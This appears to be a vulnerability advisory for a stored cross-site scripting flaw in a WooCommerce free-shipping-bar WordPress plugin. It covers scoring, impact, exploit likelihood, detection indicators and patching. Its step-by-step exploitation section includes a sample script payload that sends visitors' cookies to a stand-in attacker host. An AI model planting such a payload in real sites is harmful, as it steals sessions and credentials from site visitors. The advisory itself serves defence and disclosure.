CVE-2025-68528: 
WordPress vulnerability analysis and mitigation

CVE-2025-68528 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPFactory "Free Shipping Bar: Amount Left for Free Shipping for WooCommerce" WordPress plugin. It affects all versions up to and including 2.4.9, with version 2.5.0 being the first patched release. The vulnerability was reported on November 30, 2025, by researcher Muhammad Yudha - DJ, and publicly disclosed on December 24–30, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) per NVD, and 6.5 per Patchstack's WordPress-specific scoring (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a Stored XSS flaw. An authenticated attacker with at least Contributor or Developer-level privileges can inject malicious scripts into plugin-controlled fields that are subsequently stored in the database and rendered to site visitors without proper sanitization or escaping. The injected payload executes in the browsers of users who view the affected page, enabling client-side attacks. No public proof-of-concept code has been identified at this time (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WooCommerce free shipping bar widget, which then executes in the browsers of all site visitors. This can lead to session hijacking, credential theft, malicious redirects, defacement, or delivery of drive-by malware to end users. The scope is changed (S:C), meaning the impact extends beyond the attacker's own session to affect other users, though availability is not directly impacted (Patchstack).

No active in-the-wild exploitation has been reported, and no public exploit code is known. Patchstack rates this as low priority and notes it is unlikely to be exploited. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least Contributor-level access and user interaction from a privileged user (Patchstack).

1. Gain authenticated access: Obtain or compromise a WordPress account with at least Contributor or Developer-level privileges on a site running the vulnerable plugin (version ≤ 2.4.9).
2. Locate the plugin settings: Navigate to the Free Shipping Bar plugin configuration panel within the WordPress admin dashboard or a content editing interface where plugin-controlled fields are exposed.
3. Inject malicious payload: Enter a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a plugin input field that lacks proper output escaping.
4. Save the payload: Submit or save the settings/content, causing the malicious script to be stored in the WordPress database.
5. Trigger victim execution: When any site visitor (including administrators) loads a page displaying the free shipping bar widget, the stored payload executes in their browser, enabling session hijacking, credential theft, or further attacks (Patchstack).

• Logs: WordPress access logs showing POST requests to plugin settings or content editing endpoints by low-privileged accounts (Contributor/Developer roles) with unusual or encoded payloads in request bodies.
• Database: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded HTML entities in the wp_options or wp_postmeta tables associated with the amount-left-free-shipping-woocommerce plugin settings.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the free shipping bar widget, potentially indicating active payload execution.
• File System: No direct file system artifacts expected for a stored XSS; however, review plugin configuration files for unauthorized modifications.

The vendor WPFactory has released version 2.5.0 of the "Free Shipping Bar: Amount Left for Free Shipping for WooCommerce" plugin, which patches this vulnerability. Site administrators should update to version 2.5.0 or later immediately via the WordPress plugin dashboard. If an immediate update is not possible, restrict Contributor and Developer role access to trusted users only, and consider using a web application firewall (WAF) such as Patchstack to virtually patch the vulnerability until an update can be applied (Patchstack).

The vulnerability was covered in Wordfence's weekly WordPress vulnerability report for the period of December 15, 2025 to January 4, 2026, as part of routine security intelligence reporting. No significant independent researcher commentary, vendor statements beyond the Patchstack advisory, or notable social media discussion has been identified for this CVE (Wordfence Blog).